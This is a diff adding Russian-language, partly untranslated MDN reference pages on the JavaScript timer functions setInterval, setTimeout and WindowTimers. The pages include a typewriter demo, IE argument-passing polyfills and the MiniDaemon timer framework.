+  function Typewriter (sSelector, nRate) {
+
+  function clean () {
+    clearInterval(nIntervId);
+    bTyping = false;
+    bStart = true;
+    oCurrent = null;
+    aSheets.length = nIdx = 0;
+  }
+
+  function scroll (oSheet, nPos, bEraseAndStop) {
+    if (!oSheet.hasOwnProperty('parts') || aMap.length < nPos) { return true; }
+
+    var oRel, bExit = false;
+
+    if (aMap.length === nPos) { aMap.push(0); }
+
+    while (aMap[nPos] < oSheet.parts.length) {
+      oRel = oSheet.parts[aMap[nPos]];
+
+      scroll(oRel, nPos + 1, bEraseAndStop) ? aMap[nPos]++ : bExit = true;
+
+      if (bEraseAndStop && (oRel.ref.nodeType - 1 | 1) === 3 && oRel.ref.nodeValue) {
+        bExit = true;
+        oCurrent = oRel.ref;
+        sPart = oCurrent.nodeValue;
+        oCurrent.nodeValue = '';
+      }
+
+      oSheet.ref.appendChild(oRel.ref);
+      if (bExit) { return false; }
+    }
+
+    aMap.length--;
+    return true;
+  }
+
+  function typewrite () {
+    if (sPart.length === 0 && scroll(aSheets[nIdx], 0, true) && nIdx++ === aSheets.length - 1) { clean(); return; }
+
+    oCurrent.nodeValue += sPart.charAt(0);
+    sPart = sPart.slice(1);
+  }
+
+  function Sheet (oNode) {
+    this.ref = oNode;
+    if (!oNode.hasChildNodes()) { return; }
+    this.parts = Array.prototype.slice.call(oNode.childNodes);
+
+    for (var nChild = 0; nChild < this.parts.length; nChild++) {
+      oNode.removeChild(this.parts[nChild]);
+      this.parts[nChild] = new Sheet(this.parts[nChild]);
+    }
+  }
+
+  var
+    nIntervId, oCurrent = null, bTyping = false, bStart = true,
+    nIdx = 0, sPart = "", aSheets = [], aMap = [];
+
+  this.rate = nRate || 100;
+
+  this.play = function () {
+    if (bTyping) { return; }
+    if (bStart) {
+      var aItems = document.querySelectorAll(sSelector);
+
+      if (aItems.length === 0) { return; }
+      for (var nItem = 0; nItem < aItems.length; nItem++) {
+        aSheets.push(new Sheet(aItems[nItem]));
+        /* Uncomment the following line if you have previously hidden your elements via CSS: */
+        // aItems[nItem].style.visibility = "visible";
+      }
+
+      bStart = false;
+    }
+
+    nIntervId = setInterval(typewrite, this.rate);
+    bTyping = true;
+  };
+
+  this.pause = function () {
+    clearInterval(nIntervId);
+    bTyping = false;
+  };
+
+  this.terminate = function () {
+    oCurrent.nodeValue += sPart;
+    sPart = "";
+    for (nIdx; nIdx < aSheets.length; scroll(aSheets[nIdx++], 0, false));
+    clean();
+  };
+}
+
+/* usage: */
+var oTWExample1 = new Typewriter(/* elements: */ '#article, h1, #info, #copyleft', /* frame rate (optional): */ 15);
+
+/* default frame rate is 100: */
+var oTWExample2 = new Typewriter('#controls');
+
+/* you can also change the frame rate value modifying the "rate" property; for example: */
+// oTWExample2.rate = 150;
+
+onload = function () {
+  oTWExample1.play();
+  oTWExample2.play();
+};
+</script>
+<style type="text/css">
+span.intLink, a, a:visited {
+  cursor: pointer;
+  color: #000000;
+  text-decoration: underline;
+}
+
+#info {
+  width: 180px;
+  height: 150px;
+  float: right;
+  background-color: #eeeeff;
+  padding: 4px;
+  overflow: auto;
+  font-size: 12px;
+  margin: 4px;
+  border-radius: 5px;
+  /* visibility: hidden; */
+}
+</style>
+</head>
+
+<body>
+
+<p id="copyleft" style="font-style: italic; font-size: 12px; text-align: center;">CopyLeft 2012 by <a href="https://developer.mozilla.org/" target="_blank">Mozilla Developer Network</a></p>
+<p id="controls" style="text-align: center;">[&nbsp;<span class="intLink" onclick="oTWExample1.play();">Play</span> | <span class="intLink" onclick="oTWExample1.pause();">Pause</span> | <span class="intLink" onclick="oTWExample1.terminate();">Terminate</span>&nbsp;]</p>
+<div id="info">
+Vivamus blandit massa ut metus mattis in fringilla lectus imperdiet. Proin ac ante a felis ornare vehicula. Fusce pellentesque lacus vitae eros convallis ut mollis magna pellentesque. Pellentesque placerat enim at lacus ultricies vitae facilisis nisi fringilla. In tincidunt tincidunt tincidunt.
+</div>
+<h1>JavaScript Typewriter</h1>
+
+<div id="article">
+<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam ultrices dolor ac dolor imperdiet ullamcorper. Suspendisse quam libero, luctus auctor mollis sed, malesuada condimentum magna. Quisque in ante tellus, in placerat est. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Donec a mi magna, quis mattis dolor. Etiam sit amet ligula quis urna auctor imperdiet nec faucibus ante. Mauris vel consectetur dolor. Nunc eget elit eget velit pulvinar fringilla consectetur aliquam purus. Curabitur convallis, justo posuere porta egestas, velit erat ornare tortor, non viverra justo diam eget arcu. Phasellus adipiscing fermentum nibh ac commodo. Nam turpis nunc, suscipit a hendrerit vitae, volutpat non ipsum.</p>
+<form>
+<p>Phasellus ac nisl lorem: <input type="text" /><br />
+<textarea style="width: 400px; height: 200px;">Nullam commodo suscipit lacus non aliquet. Phasellus ac nisl lorem, sed facilisis ligula. Nam cursus lobortis placerat. Sed dui nisi, elementum eu sodales ac, placerat sit amet mauris. Pellentesque dapibus tellus ut ipsum aliquam eu auctor dui vehicula. Quisque ultrices laoreet erat, at ultrices tortor sodales non. Sed venenatis luctus magna, ultricies ultricies nunc fringilla eget. Praesent scelerisque urna vitae nibh tristique varius consequat neque luctus. Integer ornare, erat a porta tempus, velit justo fermentum elit, a fermentum metus nisi eu ipsum. Vivamus eget augue vel dui viverra adipiscing congue ut massa. Praesent vitae eros erat, pulvinar laoreet magna. Maecenas vestibulum mollis nunc in posuere. Pellentesque sit amet metus a turpis lobortis tempor eu vel tortor. Cras sodales eleifend interdum.</textarea></p>
+<p><input type="submit" value="Send" />
+</form>
+<p>Duis lobortis sapien quis nisl luctus porttitor. In tempor semper libero, eu tincidunt dolor eleifend sit amet. Ut nec velit in dolor tincidunt rhoncus non non diam. Morbi auctor ornare orci, non euismod felis gravida nec. Curabitur elementum nisi a eros rutrum nec blandit diam placerat. Aenean tincidunt risus ut nisi consectetur cursus. Ut vitae quam elit. Donec dignissim est in quam tempor consequat. Aliquam aliquam diam non felis convallis suscipit. Nulla facilisi. Donec lacus risus, dignissim et fringilla et, egestas vel eros. Duis malesuada accumsan dui, at fringilla mauris bibStartum quis. Cras adipiscing ultricies fermentum. Praesent bibStartum condimentum feugiat.</p>
+<p>Nam faucibus, ligula eu fringilla pulvinar, lectus tellus iaculis nunc, vitae scelerisque metus leo non metus. Proin mattis lobortis lobortis. Quisque accumsan faucibus erat, vel varius tortor ultricies ac. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed nec libero nunc. Nullam tortor nunc, elementum a consectetur et, ultrices eu orci. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque a nisl eu sem vehicula egestas.</p>
+</div>
+</body>
+</html>
+ +

View this demo in action. See also: clearInterval().

+ +

Аргументы функции обратного вызова

+ +

As previously discussed, Internet Explorer versions 9 and below do not support the passing of arguments to the callback function in either setTimeout() or setInterval(). The following IE-specific code demonstrates a method for overcoming this limitation.  To use, simply add the following code to the top of your script.

+ +
/*\
+|*|
+|*|  IE-specific polyfill that enables the passage of arbitrary arguments to the
+|*|  callback functions of javascript timers (HTML5 standard syntax).
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/Web/API/window.setInterval
+|*|  https://developer.mozilla.org/User:fusionchess
+|*|
+|*|  Syntax:
+|*|  var timeoutID = window.setTimeout(func, delay[, param1, param2, ...]);
+|*|  var timeoutID = window.setTimeout(code, delay);
+|*|  var intervalID = window.setInterval(func, delay[, param1, param2, ...]);
+|*|  var intervalID = window.setInterval(code, delay);
+|*|
+\*/
+
+if (document.all && !window.setTimeout.isPolyfill) {
+  var __nativeST__ = window.setTimeout;
+  window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+    var aArgs = Array.prototype.slice.call(arguments, 2);
+    return __nativeST__(vCallback instanceof Function ? function () {
+      vCallback.apply(null, aArgs);
+    } : vCallback, nDelay);
+  };
+  window.setTimeout.isPolyfill = true;
+}
+
+if (document.all && !window.setInterval.isPolyfill) {
+  var __nativeSI__ = window.setInterval;
+  window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+    var aArgs = Array.prototype.slice.call(arguments, 2);
+    return __nativeSI__(vCallback instanceof Function ? function () {
+      vCallback.apply(null, aArgs);
+    } : vCallback, nDelay);
+  };
+  window.setInterval.isPolyfill = true;
+}
+
+ +

Another possibility is to use an anonymous function to call your callback, although this solution is a bit more expensive. Example:

+ +
var intervalID = setInterval(function() { myFunc('one', 'two', 'three'); }, 1000);
+ +

Another possibility is to use function's bind. Example:

+ +
var intervalID = setInterval(function(arg1) {}.bind(undefined, 10), 1000);
+ +

{{h3_gecko_minversion("Inactive tabs", "5.0")}}

+ +

Starting in Gecko 5.0 {{geckoRelease("5.0")}}, intervals are clamped to fire no more often than once per second in inactive tabs.

+ +

Проблема с "this"

+ +

When you pass a method to setInterval() or any other function, it is invoked with the wrong this value. This problem is explained in detail in the JavaScript reference.

+ +

Объяснение

+ +

Code executed by setInterval() runs in a separate execution context than the function from which it was called. As a consequence, the this keyword for the called function is set to the window (or global) object, it is not the same as the this value for the function that called setTimeout. See the following example (which uses setTimeout() instead of setInterval() – the problem, in fact, is the same for both timers):

+ +
myArray = ['zero', 'one', 'two'];
+
+myArray.myMethod = function (sProperty) {
+    alert(arguments.length > 0 ? this[sProperty] : this);
+};
+
+myArray.myMethod(); // prints "zero,one,two"
+myArray.myMethod(1); // prints "one"
+setTimeout(myArray.myMethod, 1000); // prints "[object Window]" after 1 second
+setTimeout(myArray.myMethod, 1500, "1"); // prints "undefined" after 1,5 seconds
+// passing the 'this' object with .call won't work
+// because this will change the value of this inside setTimeout itself
+// while we want to change the value of this inside myArray.myMethod
+// in fact, it will be an error because setTimeout code expects this to be the window object:
+setTimeout.call(myArray, myArray.myMethod, 2000); // error: "NS_ERROR_XPC_BAD_OP_ON_WN_PROTO: Illegal operation on WrappedNative prototype object"
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // same error
+
+ +

As you can see there are no ways to pass the this object to the callback function in the legacy JavaScript.

+ +

Возможное решение

+ +

A possible way to solve the "this" problem is to replace the two native setTimeout() or setInterval() global functions with two non-native ones that enable their invocation through the Function.prototype.call method. The following example shows a possible replacement:

+ +
// Enable the passage of the 'this' object through the JavaScript timers
+
+var __nativeST__ = window.setTimeout, __nativeSI__ = window.setInterval;
+
+window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeST__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};
+
+window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeSI__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};
+ +
These two replacements also enable the HTML5 standard passage of arbitrary arguments to the callback functions of timers in IE. So they can be used as non-standard-compliant polyfills also. See the callback arguments paragraph for a standard-compliant polyfill.
+ +

Новое тестируемое свойство:

+ +
myArray = ['zero', 'one', 'two'];
+
+myArray.myMethod = function (sProperty) {
+    alert(arguments.length > 0 ? this[sProperty] : this);
+};
+
+setTimeout(alert, 1500, 'Hello world!'); // the standard use of setTimeout and setInterval is preserved, but...
+setTimeout.call(myArray, myArray.myMethod, 2000); // prints "zero,one,two" after 2 seconds
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // prints "two" after 2,5 seconds
+
+ +

Another, more complex, solution for the this problem is the following framework.

+ +
JavaScript 1.8.5 introduces the Function.prototype.bind() method, which lets you specify the value that should be used as this for all calls to a given function. This lets you easily bypass problems where it's unclear what this will be, depending on the context from which your function was called. Also, ES2015 supports arrow functions, with lexical this allowing us to write setInterval( () => this.myMethod) if we're inside myArray method.
+ +

MiniDaemon - фреймворд для упраления таймерами

+ +

In pages requiring many timers, it can often be difficult to keep track of all of the running timer events. One approach to solving this problem is to store information about the state of a timer in an object. Following is a minimal example of such an abstraction. The constructor architecture explicitly avoids the use of closures. It also offers an alternative way to pass the this object to the callback function (see The "this" problem for details). The following code is also available on GitHub.

+ +
For a more complex but still modular version of it (Daemon) see JavaScript Daemons Management. This more complex version is nothing but a big and scalable collection of methods for the Daemon constructor. However, the Daemon constructor itself is nothing but a clone of MiniDaemon with an added support for init and onstart functions declarable during the instantiation of the daemon. So the MiniDaemon framework remains the recommended way for simple animations, because Daemon without its collection of methods is essentially a clone of it.
+ +

minidaemon.js

+ +
/*\
+|*|
+|*|  :: MiniDaemon ::
+|*|
+|*|  Revision #2 - September 26, 2014
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/Web/API/window.setInterval
+|*|  https://developer.mozilla.org/User:fusionchess
+|*|  https://github.com/madmurphy/minidaemon.js
+|*|
+|*|  This framework is released under the GNU Lesser General Public License, version 3 or later.
+|*|  http://www.gnu.org/licenses/lgpl-3.0.html
+|*|
+\*/
+
+function MiniDaemon (oOwner, fTask, nRate, nLen) {
+  if (!(this && this instanceof MiniDaemon)) { return; }
+  if (arguments.length < 2) { throw new TypeError('MiniDaemon - not enough arguments'); }
+  if (oOwner) { this.owner = oOwner; }
+  this.task = fTask;
+  if (isFinite(nRate) && nRate > 0) { this.rate = Math.floor(nRate); }
+  if (nLen > 0) { this.length = Math.floor(nLen); }
+}
+
+MiniDaemon.prototype.owner = null;
+MiniDaemon.prototype.task = null;
+MiniDaemon.prototype.rate = 100;
+MiniDaemon.prototype.length = Infinity;
+
+  /* These properties should be read-only */
+
+MiniDaemon.prototype.SESSION = -1;
+MiniDaemon.prototype.INDEX = 0;
+MiniDaemon.prototype.PAUSED = true;
+MiniDaemon.prototype.BACKW = true;
+
+  /* Global methods */
+
+MiniDaemon.forceCall = function (oDmn) {
+  oDmn.INDEX += oDmn.BACKW ? -1 : 1;
+  if (oDmn.task.call(oDmn.owner, oDmn.INDEX, oDmn.length, oDmn.BACKW) === false || oDmn.isAtEnd()) { oDmn.pause(); return false; }
+  return true;
+};
+
+  /* Instances methods */
+
+MiniDaemon.prototype.isAtEnd = function () {
+  return this.BACKW ? isFinite(this.length) && this.INDEX < 1 : this.INDEX + 1 > this.length;
+};
+
+MiniDaemon.prototype.synchronize = function () {
+  if (this.PAUSED) { return; }
+  clearInterval(this.SESSION);
+  this.SESSION = setInterval(MiniDaemon.forceCall, this.rate, this);
+};
+
+MiniDaemon.prototype.pause = function () {
+  clearInterval(this.SESSION);
+  this.PAUSED = true;
+};
+
+MiniDaemon.prototype.start = function (bReverse) {
+  var bBackw = Boolean(bReverse);
+  if (this.BACKW === bBackw && (this.isAtEnd() || !this.PAUSED)) { return; }
+  this.BACKW = bBackw;
+  this.PAUSED = false;
+  this.synchronize();
+};
+
+ +
MiniDaemon passes arguments to the callback function. If you want to work on it with browsers that natively do not support this feature, use one of the methods proposed above.
+ +

Синтаксис

+ +

var myDaemon = new MiniDaemon(thisObject, callback[, rate[, length]]);

+ +

Описание

+ +

Returns a JavaScript Object containing all information needed by an animation (like the this object, the callback function, the length, the frame-rate).

+ +

Параметры

+ +
+
thisObject
+
The this object on which the callback function is called. It can be an object or null.
+
callback
+
The function that is repeatedly invoked . It is called with three parameters: index (the iterative index of each invocation), length (the number of total invocations assigned to the daemon - finite or Infinity) and backwards (a boolean expressing whether the index is increasing or decreasing). It is something like callback.call(thisObject, index, length, backwards). If the callback function returns a false value the daemon is paused.
+
rate (optional)
+
The time lapse (in number of milliseconds) between each invocation. The default value is 100.
+
length (optional)
+
The total number of invocations. It can be a positive integer or Infinity. The default value is Infinity.
+
+ +

MiniDaemon instances properties

+ +
+
myDaemon.owner
+
The this object on which is executed the daemon (read/write). It can be an object or null.
+
myDaemon.task
+
The function that is repeatedly invoked (read/write). It is called with three arguments: index (the iterative index of each invocation), length (the number of total invocations assigned to the daemon - finite or Infinity) and backwards (a boolean expressing whether the index is decreasing or not) – see above. If the myDaemon.task function returns a false value the daemon is paused.
+
myDaemon.rate
+
Промежуток времени (в миллисекундах) между каждым вызовом (чтение / запись).
+
myDaemon.length
+
Итоговое количество вызовов. Это может быть положительное целое число или бесконечность Infinity (чтение / запись).
+
+ +

MiniDaemon instances methods

+ +
+
myDaemon.isAtEnd()
+
Возвращает логическое значение (true или false), в зависимости от того, находится ли daemon в начальной / конечной позиции или нет.  
+
myDaemon.synchronize()
+
Synchronize the timer of a started daemon with the time of its invocation.
+
myDaemon.pause()
+
Pauses the daemon.
+
myDaemon.start([reverse])
+
Starts the daemon forward (index of each invocation increasing) or backwards (index decreasing).
+
+ +

MiniDaemon global object methods

+ +
+
MiniDaemon.forceCall(minidaemon)
+
Forces a single callback to the minidaemon.task function regardless of the fact that the end has been reached or not. In any case the internal INDEX property is increased/decreased (depending on the actual direction of the process).
+
+ +

Пример использования

+ +

Ваша HTML страница:

+ +
<!DOCTYPE html>
+<html>
+<head>
+  <meta charset="UTF-8" />
+  <title>MiniDaemin Example - MDN</title>
+  <script type="text/javascript" src="minidaemon.js"></script>
+  <style type="text/css">
+    #sample_div {
+      visibility: hidden;
+    }
+  </style>
+</head>
+
+<body>
+  <p>
+    <input type="button" onclick="fadeInOut.start(false /* optional */);" value="fade in" />
+    <input type="button" onclick="fadeInOut.start(true);" value="fade out">
+    <input type="button" onclick="fadeInOut.pause();" value="pause" />
+  </p>
+
+  <div id="sample_div">Some text here</div>
+
+  <script type="text/javascript">
+    function opacity (nIndex, nLength, bBackwards) {
+      this.style.opacity = nIndex / nLength;
+      if (bBackwards ? nIndex === 0 : nIndex === 1) {
+        this.style.visibility = bBackwards ? 'hidden' : 'visible';
+      }
+    }
+
+    var fadeInOut = new MiniDaemon(document.getElementById('sample_div'), opacity, 300, 8);
+  </script>
+</body>
+</html>
+ +

View this example in action

+ +

Примечания

+ +

The setInterval() function is commonly used to set a delay for functions that are executed again and again, such as animations.

+ +

You can cancel the interval using {{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}.

+ +

If you wish to have your function called once after the specified delay, use {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}.

+ +

Ensure that execution duration is shorter than interval frequency

+ +

If there is a possibility that your logic could take longer to execute than the interval time, it is recommended that you recursively call a named function using {{domxref("WindowOrWorkerGlobalScope.setTimeout")}}. For example, if using setInterval to poll a remote server every 5 seconds, network latency, an unresponsive server, and a host of other issues could prevent the request from completing in its allotted time. As such, you may find yourself with queued up XHR requests that won't necessarily return in order.

+ +

In these cases, a recursive setTimeout() pattern is preferred:

+ +
(function loop(){
+   setTimeout(function() {
+      // Your logic here
+
+      loop();
+  }, delay);
+})();
+
+ +

In the above snippet, a named function loop() is declared and is immediately executed. loop() is recursively called inside setTimeout() after the logic has completed executing. While this pattern does not guarantee execution on a fixed interval, it does guarantee that the previous interval has completed before recursing.

+ +

Throttling of intervals

+ +

setInterval() is subject to the same throttling restrictions in Firefox as {{domxref("WindowOrWorkerGlobalScope.setTimeout","setTimeout()")}}; see Reasons for delays longer than specified.

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webappapis.html#dom-setinterval', 'WindowOrWorkerGlobalScope.setInterval()')}}{{Spec2("HTML WHATWG")}}Method moved to the WindowOrWorkerGlobalScope mixin in the latest spec.
{{SpecName("HTML WHATWG", "webappapis.html#dom-setinterval", "WindowTimers.setInterval()")}}{{Spec2("HTML WHATWG")}}Initial definition (DOM Level 0)
+ +

Совместимость с браузерами

+ +
+ + +

{{Compat("api.WindowOrWorkerGlobalScope.setInterval")}}

+
+ +

Смотрите также

+ + + +
+
+
+ +
+
+
+ +
+

+ +

+
+
+
+
+
diff --git a/files/ru/web/api/windowtimers/index.html b/files/ru/web/api/windowtimers/index.html new file mode 100644 index 0000000000..d54cc1b3e5 --- /dev/null +++ b/files/ru/web/api/windowtimers/index.html @@ -0,0 +1,119 @@ +--- +title: WindowTimers +slug: Web/API/WindowTimers +tags: + - API + - HTML DOM +translation_of: Web/API/WindowOrWorkerGlobalScope +--- +
{{APIRef("HTML DOM")}}
+ +

WindowTimers contains utility methods to set and clear timers.

+ +

There is no object of this type, though the context object, either the {{domxref("Window")}} for regular browsing scope, or the {{domxref("WorkerGlobalScope")}}  for workers, implements it.

+ +

Properties

+ +

This interface do not define any property, nor inherit any.

+ +

Methods

+ +

This interface do not inherit any method.

+ +
+
{{domxref("WindowTimers.clearInterval()")}}
+
Cancels the repeated execution set using {{domxref("WindowTimers.setInterval()")}}.
+
{{domxref("WindowTimers.clearTimeout()")}}
+
Cancels the repeated execution set using {{domxref("WindowTimers.setTimeout()")}}.
+
{{domxref("WindowTimers.setInterval()")}}
+
Schedules the execution of a function each X milliseconds.
+
{{domxref("WindowTimers.setTimeout()")}}
+
Sets a delay for executing a function.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#windowtimers', 'WindowTimers')}}{{Spec2('HTML WHATWG')}}No change since the latest snapshot, {{SpecName("HTML5.1")}}.
{{SpecName('HTML5.1', '#windowtimers', 'WindowTimers')}}{{Spec2('HTML5.1')}}Snapshot of {{SpecName("HTML WHATWG")}}. No change.
{{SpecName("HTML5 W3C", "#windowtimers", "WindowTimers")}}{{Spec2('HTML5 W3C')}}Snapshot of {{SpecName("HTML WHATWG")}}. Creation of WindowBase64 (properties where on the target before it).
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatGeckoDesktop(1)}}1.04.04.01.0
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Basic support{{CompatGeckoMobile(1)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

 

+ +

See also

+ + diff --git a/files/ru/web/api/windowtimers/settimeout/index.html b/files/ru/web/api/windowtimers/settimeout/index.html new file mode 100644 index 0000000000..9e39020215 --- /dev/null +++ b/files/ru/web/api/windowtimers/settimeout/index.html @@ -0,0 +1,260 @@ +--- +title: WindowTimers.setTimeout() +slug: Web/API/WindowTimers/setTimeout +translation_of: Web/API/WindowOrWorkerGlobalScope/setTimeout +--- +
{{ APIRef() }}
+ +

Краткое изложение

+ +

Вызов функции или выполнение фрагмента кода после указанной задержки.

+ +

Синтаксис

+ +
var timeoutID = window.setTimeout(func, [, delay, param1, param2, ...]);
+var timeoutID = window.setTimeout(code [, delay]);
+
+ +

где

+ + + +

Необходимо принять во внимание, что передача дополнительных параметров функции в первом варианте не работает в Internet Explorer 9 и ниже. Для использования этого функционала в таких браузерах, необходимо использовать код для совместимости (см. раздел Аргументы функции обратного вызова).

+ +
Important: Prior to Gecko 13 {{ geckoRelease("13.0") }}, Gecko passed an extra parameter to the callback routine, indicating the "actual lateness" of the timeout in milliseconds. This non-standard parameter is no longer passed.
+ +

Пример

+ +

В следующем примере на веб странице создаются две простые кнопки, к которым привязываются действия setTimeout и clearTimeout. Нажатие на первую кнопку установит таймаут, который вызовет диалоговое окно через две секунды. Также будет сохранен id для clearTimeout. Таймаут также может быть отменен по нажатию на вторую кнопку.

+ +

HTML Content

+ +
<p>Live Example</p>
+<button onclick="delayedAlert();">Show an alert box after two seconds</button>
+<p></p>
+<button onclick="clearAlert();">Cancel alert before it happens</button>
+
+ +

JavaScript Content

+ +
var timeoutID;
+
+function delayedAlert() {
+  timeoutID = window.setTimeout(slowAlert, 2000);
+}
+
+function slowAlert() {
+  alert("That was really slow!");
+}
+
+function clearAlert() {
+  window.clearTimeout(timeoutID);
+}
+
+ +

{{ EmbedLiveSample('Example') }}

+ +

Смотрите также пример clearTimeout().

+ +

Аргументы функции обратного вызова

+ +

Если вам нужно передать аргумент в вашу callback функцию, но нужно, чтобы это работало в Internet Explorer 9 и ниже, который не поддерживает передачу дополнительных параметров (ни с setTimeout() или setInterval()), то вы можете прописать специальный код для совместимости с IE, вставив этот код в начало ваших скриптов, который включит функцию передачи стандартных параметров HTML5 в Internet Explorer для обоих таймеров.

+ +
/*\
+|*|
+|*|  IE-specific polyfill which enables the passage of arbitrary arguments to the
+|*|  callback functions of JavaScript timers (HTML5 standard syntax).
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/DOM/window.setInterval
+|*|
+|*|  Syntax:
+|*|  var timeoutID = window.setTimeout(func, delay, [param1, param2, ...]);
+|*|  var timeoutID = window.setTimeout(code, delay);
+|*|  var intervalID = window.setInterval(func, delay[, param1, param2, ...]);
+|*|  var intervalID = window.setInterval(code, delay);
+|*|
+\*/
+
+if (document.all && !window.setTimeout.isPolyfill) {
+  var __nativeST__ = window.setTimeout;
+  window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+    var aArgs = Array.prototype.slice.call(arguments, 2);
+    return __nativeST__(vCallback instanceof Function ? function () {
+      vCallback.apply(null, aArgs);
+    } : vCallback, nDelay);
+  };
+  window.setTimeout.isPolyfill = true;
+}
+
+if (document.all && !window.setInterval.isPolyfill) {
+  var __nativeSI__ = window.setInterval;
+  window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+    var aArgs = Array.prototype.slice.call(arguments, 2);
+    return __nativeSI__(vCallback instanceof Function ? function () {
+      vCallback.apply(null, aArgs);
+    } : vCallback, nDelay);
+  };
+  window.setInterval.isPolyfill = true;
+}
+
+ +

Правка только для IE

+ +

If you want a completely unobtrusive hack for every other mobile or desktop browser, including IE 9 and below, you can either use JavaScript conditional comments:

+ +
/*@cc_on
+  // conditional IE < 9 only fix
+  @if (@_jscript_version <= 6)
+  (function(f){
+     window.setTimeout =f(window.setTimeout);
+     window.setInterval =f(window.setInterval);
+  })(function(f){return function(c,t){var a=[].slice.call(arguments,2);return f(function(){c.apply(this,a)},t)}});
+  @end
+@*/
+
+ +

Или используйте очень чистый подход, основанный на условном свойстве IE HTML:

+ +
<!--[if lte IE 9]><script>
+(function(f){
+window.setTimeout =f(window.setTimeout);
+window.setInterval =f(window.setInterval);
+})(function(f){return function(c,t){
+var a=[].slice.call(arguments,2);return f(function(){c.apply(this,a)},t)}
+});
+</script><![endif]-->
+
+ +

Another possibility is to use an anonymous function to call your callback, but this solution is a bit more expensive. Example:

+ +
var intervalID = setTimeout(function() { myFunc("one", "two", "three"); }, 1000);
+
+ +

Yet another possibility is to use function's bind. Example:

+ +
setTimeout(function(arg1){}.bind(undefined, 10));
+
+ +

Проблема с "this"

+ +

Когда вы передаете метод в setTimeout() (или в любую другую функцию, если на то пошло), то вызов будет осуществлен с неправильным значением this. Эта проблема разъясняется детально в JavaScript reference.

+ +

Объяснение

+ +

Code executed by setTimeout() is run in a separate execution context to the function from which it was called. As a consequence, the this keyword for the called function will be set to the window (or global) object; it will not be the same as the this value for the function that called setTimeout. See the following example:

+ +
myArray = ["zero", "one", "two"];
+myArray.myMethod = function (sProperty) {
+    alert(arguments.length > 0 ? this[sProperty] : this);
+};
+
+myArray.myMethod(); // prints "zero,one,two"
+myArray.myMethod(1); // prints "one"
+setTimeout(myArray.myMethod, 1000); // prints "[object Window]" after 1 second
+setTimeout(myArray.myMethod, 1500, "1"); // prints "undefined" after 1.5 seconds
+// let's try to pass the 'this' object
+setTimeout.call(myArray, myArray.myMethod, 2000); // error: "NS_ERROR_XPC_BAD_OP_ON_WN_PROTO: Illegal operation on WrappedNative prototype object"
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // same error
+ +

Как видите, нет способов передать объект this в функцию обратного вызова..

+ +

Возможное решение

+ +

A possible way to solve the "this" problem is to replace the two native setTimeout() or setInterval() global functions with two non-native ones which will enable their invocation through the Function.prototype.call method. The following example shows a possible replacement:

+ +
// Enable the passage of the 'this' object through the JavaScript timers
+
+var __nativeST__ = window.setTimeout, __nativeSI__ = window.setInterval;
+
+window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeST__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};
+
+window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeSI__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};
+ +
Note: These two replacements will also enable the HTML5 standard passage of arbitrary arguments to the callback functions of timers in IE. So they can be used as polyfills also. See the Callback arguments paragraph.
+ +

Новая тестируемая особенность:

+ +
myArray = ["zero", "one", "two"];
+myArray.myMethod = function (sProperty) {
+    alert(arguments.length > 0 ? this[sProperty] : this);
+};
+
+setTimeout(alert, 1500, "Hello world!"); // the standard use of setTimeout and setInterval is preserved, but...
+setTimeout.call(myArray, myArray.myMethod, 2000); // prints "zero,one,two" after 2 seconds
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // prints "two" after 2.5 seconds
+
+ +

Это не нативные решения ad hoc для этой проблемы.

+ +
Note: JavaScript 1.8.5 introduces the Function.prototype.bind() method, which lets you specify the value that should be used as this for all calls to a given function. This lets you easily bypass problems where it's unclear what this will be, depending on the context from which your function was called.
+ +

Замечания

+ +

Отложенное выполнение кода можно отменить, используя window.clearTimeout(). Если функция должна вызываться неоднократно (например, каждые N миллисекунд), необходимо использовать window.setInterval().

+ +

